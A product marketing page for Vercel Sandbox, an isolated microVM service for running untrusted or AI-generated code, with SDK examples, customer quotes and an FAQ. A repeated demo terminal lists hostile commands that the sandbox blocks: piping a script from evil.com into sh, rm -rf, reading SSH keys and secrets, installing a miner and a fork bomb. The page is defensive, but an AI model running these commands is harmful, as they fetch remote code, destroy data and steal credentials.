Modern apps increasingly need to execute code they didn’t author. From AI agents, customer scripts, or dynamic systems.
Reducing the risk of untrusted code, at scale.
# Production Environment: ✓ Protected
$ echo $API_SECRET✗ Error: Undefined
$ psql $DATABASE_URL✗ Error: Database connection blocked
$ aws s3 ls s3://prod-bucket✗ Error: Cloud resources isolated
$ cat ~/.ssh/id_rsa✗ Error: SSH keys not accessible# Attempted Commands: ✓ Blocked by Sandbox
$ curl http://evil.com/payload.sh | sh✗ Error: External network access denied
$ rm -rf /system/*✗ Error: Filesystem access restricted
$ sudo apt-get install mining-software✗ Error: Privilege escalation not permitted
$ while true; do fork; done✗ Error: Resource limits exceeded// AI Agent generated codeconst code = await agent.generateCode(userPrompt);const sb = await Sandbox.create({ runtime: 'python3.13' });const result = await sb.runCommand({ cmd:'python', args: ['-c', code]});
// User-provided scriptconst userScript = request.body.script;const sbUser = await Sandbox.create({ timeout: ms('5m') });await sbUser.runCommand({ cmd: 'node', args: ['-e', 'user-script.js'] });
// Third-party pluginconst sbPlugin = await Sandbox.create({ resources: { vcpus: 2 } });await sbPlugin.runCommand({ cmd: 'node', args: ['-e', 'plugin.js'] });# Production Environment: ✓ Protected
$ echo $API_SECRET✗ Error: Undefined
$ psql $DATABASE_URL✗ Error: Database connection blocked
$ aws s3 ls s3://prod-bucket✗ Error: Cloud resources isolated
$ cat ~/.ssh/id_rsa✗ Error: SSH keys not accessible# Attempted Commands: ✓ Blocked by Sandbox
$ curl http://evil.com/payload.sh | sh✗ Error: External network access denied
$ rm -rf /system/*✗ Error: Filesystem access restricted
$ sudo apt-get install mining-software✗ Error: Privilege escalation not permitted
$ while true; do fork; done✗ Error: Resource limits exceeded// AI Agent generated codeconst code = await agent.generateCode(userPrompt);const sb = await Sandbox.create({ runtime: 'python3.13' });const result = await sb.runCommand({ cmd:'python', args: ['-c', code]});
// User-provided scriptconst userScript = request.body.script;const sbUser = await Sandbox.create({ timeout: ms('5m') });await sbUser.runCommand({ cmd: 'node', args: ['-e', 'user-script.js'] });
// Third-party pluginconst sbPlugin = await Sandbox.create({ resources: { vcpus: 2 } });await sbPlugin.runCommand({ cmd: 'node', args: ['-e', 'plugin.js'] });# Production Environment: ✓ Protected
$ echo $API_SECRET✗ Error: Undefined
$ psql $DATABASE_URL✗ Error: Database connection blocked
$ aws s3 ls s3://prod-bucket✗ Error: Cloud resources isolated
$ cat ~/.ssh/id_rsa✗ Error: SSH keys not accessible# Attempted Commands: ✓ Blocked by Sandbox
$ curl http://evil.com/payload.sh | sh✗ Error: External network access denied
$ rm -rf /system/*✗ Error: Filesystem access restricted
$ sudo apt-get install mining-software✗ Error: Privilege escalation not permitted
$ while true; do fork; done✗ Error: Resource limits exceeded// AI Agent generated codeconst code = await agent.generateCode(userPrompt);const sb = await Sandbox.create({ runtime: 'python3.13' });const result = await sb.runCommand({ cmd:'python', args: ['-c', code]});
// User-provided scriptconst userScript = request.body.script;const sbUser = await Sandbox.create({ timeout: ms('5m') });await sbUser.runCommand({ cmd: 'node', args: ['-e', 'user-script.js'] });
// Third-party pluginconst sbPlugin = await Sandbox.create({ resources: { vcpus: 2 } });await sbPlugin.runCommand({ cmd: 'node', args: ['-e', 'plugin.js'] });# Production Environment: ✓ Protected
$ echo $API_SECRET✗ Error: Undefined
$ psql $DATABASE_URL✗ Error: Database connection blocked
$ aws s3 ls s3://prod-bucket✗ Error: Cloud resources isolated
$ cat ~/.ssh/id_rsa✗ Error: SSH keys not accessible# Attempted Commands: ✓ Blocked by Sandbox
$ curl http://evil.com/payload.sh | sh✗ Error: External network access denied
$ rm -rf /system/*✗ Error: Filesystem access restricted
$ sudo apt-get install mining-software✗ Error: Privilege escalation not permitted
$ while true; do fork; done✗ Error: Resource limits exceeded// AI Agent generated codeconst code = await agent.generateCode(userPrompt);const sb = await Sandbox.create({ runtime: 'python3.13' });const result = await sb.runCommand({ cmd:'python', args: ['-c', code]});
// User-provided scriptconst userScript = request.body.script;const sbUser = await Sandbox.create({ timeout: ms('5m') });await sbUser.runCommand({ cmd: 'node', args: ['-e', 'user-script.js'] });
// Third-party pluginconst sbPlugin = await Sandbox.create({ resources: { vcpus: 2 } });await sbPlugin.runCommand({ cmd: 'node', args: ['-e', 'plugin.js'] });Vercel Sandbox runs on Fluid compute, Vercel optimized execution model that scales CPU and memory dynamically across millions of executions.
With Active CPU pricing, you’re billed only when code is actively running, not during idle or wait time, resulting in up to 95% lower cost for workloads with bursty or I/O-bound patterns.
Vercel Sandbox expands what our frontend infrastructure can handle. We plan to rely on it more for running untrusted code in AI workflows and for integrating tools that cannot run in a Node.js serverless function.
”Tudor Golubenco
CTO, Xata
Cua lets teams run computer-use agents from their apps with 100+ compatible VLMs — agents operate real desktops backed by Vercel Sandbox. Next.js playground on Vercel; agents execute in Vercel Sandbox via Cua with logs, replays, and evals — fully suited for reinforcement learning (RL) workflows.
”Francesco Bonacci
Founder, Cua AI
You can get started with Vercel Sandbox quickly and easily.
import { Sandbox } from '@vercel/sandbox';import { setTimeout as wait } from 'timers/promises';import { spawn } from 'child_process';
(async () => { const sandbox = await Sandbox.create({ source: { url: 'https://github.com/vercel/sandbox-example-next.git', type: 'git' }, timeout: 300000, ports: [3000], });
await sandbox.runCommand({ cmd: 'npm', args: ['i', '--loglevel', 'info'], stdout: process.stdout, stderr: process.stderr }); await sandbox.runCommand({ cmd: 'npm', args: ['run', 'dev'], stdout: process.stdout, stderr: process.stderr, detached: true });
const url = sandbox.domain(3000);
process.on('SIGINT', async () => { await sandbox.stop(); process.exit(0); });
await wait(1000); spawn('open', [url]);})().catch(console.error);Vercel Sandbox is an on-demand, isolated Linux microVM that runs arbitrary code safely through an SDK or CLI.
Sandbox gives you secure microVM isolation, built-in authentication and observability, and usage-based pricing without any infrastructure to maintain.
Yes. Sandbox is purpose-built to execute untrusted or AI-generated code in fully isolated, short-lived environments.
Each sandbox runs inside a Firecracker microVM on the same infrastructure that powers Vercel’s build system.
Node.js 22 and Python 3.13 are available by default, with more runtimes coming soon.
Yes. Each sandbox runs on Amazon Linux 2023, so you can install packages with dnf and use sudo as needed.
Sandboxes run for 5 minutes by default, up to 45 minutes on Hobby and 5 hours on Pro and Enterprise plans, with programmatic extensions available.
Each sandbox can use up to 8 vCPUs and 2 GB of RAM per vCPU.
Yes. You can open up to four ports and access them through a sandbox URL, such as sandbox.domain(port).
You can view active sandboxes in the Observability → Sandboxes view for your project, and stream real-time logs to your terminal.
Ready to deploy? Start building with a free account. Speak to an expert for your Pro or Enterprise needs.
Trial Vercel with higher execution, increased app bandwidth, Speed Insights, team features, and more.